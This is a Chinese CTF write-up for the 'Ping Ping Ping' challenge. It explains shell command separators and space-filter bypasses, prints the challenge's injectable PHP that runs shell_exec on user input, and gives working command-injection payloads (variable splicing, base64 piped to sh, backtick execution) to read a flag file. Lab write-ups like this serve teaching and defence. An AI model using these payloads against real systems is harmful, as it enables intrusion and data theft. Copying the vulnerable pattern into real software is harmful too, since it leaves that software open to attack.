[GXYCTF2019]Ping Ping Ping

相关内容

命令连接符

  • ; (分号)

    命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。

  • |(管道符)

    通过管道符可以将一个命令的标准输出管道为另外一个命令的标准输入。当第一条命令失败时,它仍然会执行第二条命令

  • &&(逻辑与)

    前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后面的命令才被执行

  • ||(逻辑或)

    前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的命令才被执行

  • ` ( 反引号)

    反引号在linux中起到的是命令替换的作用,
    命令置换是指shell能够将一个命令的标准输出插在一个命令行中任何位置

    [root@localhost ~]# echo my file `ls`
    my file  Desktop  公共 模板 视频 图片 文档 下载 音乐 桌面
    
  • $(command)

    $()和 `` 是等价的。当反引号被过滤或编码时,可能会更有效

    eg:echo my file $(ls)

[root@localhost ~]# echo my file $(ls)
my file Desktop  公共 模板 视频 图片 文档 下载 音乐 桌面
  • 空格绕过

    空格绕过一般是:

    $IFS
    ${IFS}
    $IFS$1//1可以换为任意数字
    < 
    <> 
    {cat,flag.php}  //用逗号实现了空格功能
    %20 
    %09 
    

解题

  • 先试试利用管道符拼接命令并执行
    在这里插入图片描述

  • 尝试读取index.php

    payload:?ip=127.0.0.1|cat index.php
    在这里插入图片描述

空格被过滤了

$IFS试试绕过,不行,用${IFS}发现{}被ban。再试$IFS$1成功

index.php源码

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

从源码中可以看出过滤了许多标点,空格,bash,包括flag的贪婪匹配

以下方法就行不通了

1.cat fl* 利用*匹配任意 不行
2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
3.ca\t fl\ag.php 不行
4.cat fl''ag.php 不行
  • 解决办法

    • 变量拼接

      payload:?ip=127.0.0.1|$a=g|cat$IFS$1fla$a.php

    • 用sh替代bash,sh的大部分脚本都可以在bash下运行。
      payload:?ip=127.0.0.1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS​$1-d|sh

    • 内联执行

      payload:?ip=127.0.0.1|cat$IFS$9`ls`

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值